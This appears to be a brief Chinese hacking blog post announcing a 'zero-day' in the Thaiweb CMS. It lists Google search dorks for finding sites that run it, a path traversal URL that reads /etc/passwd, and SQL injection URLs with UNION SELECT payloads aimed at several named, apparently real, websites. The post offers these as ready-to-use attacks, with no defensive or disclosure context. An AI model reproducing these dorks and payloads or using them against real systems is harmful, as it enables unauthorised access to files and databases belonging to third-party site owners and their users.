Thaiweb远程文件sql注入漏洞0day

Google之:
intext:powered by Thaiweb
inurl:index.php?page=board.php
利用点1:http://www.hack1990.com/index.php?page=../../../../../../../../../../../../../etc/passwd
利用点2:http://www.hack1990.com/index.php?page=boardque.php&bod_id=4'
http://www.keytasin.com/index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316 --
http://www.autopartnerthailand.com
/index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316 --
http://gift.in.th/index.php?page=boardque.php&bod_id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316 --

发表评论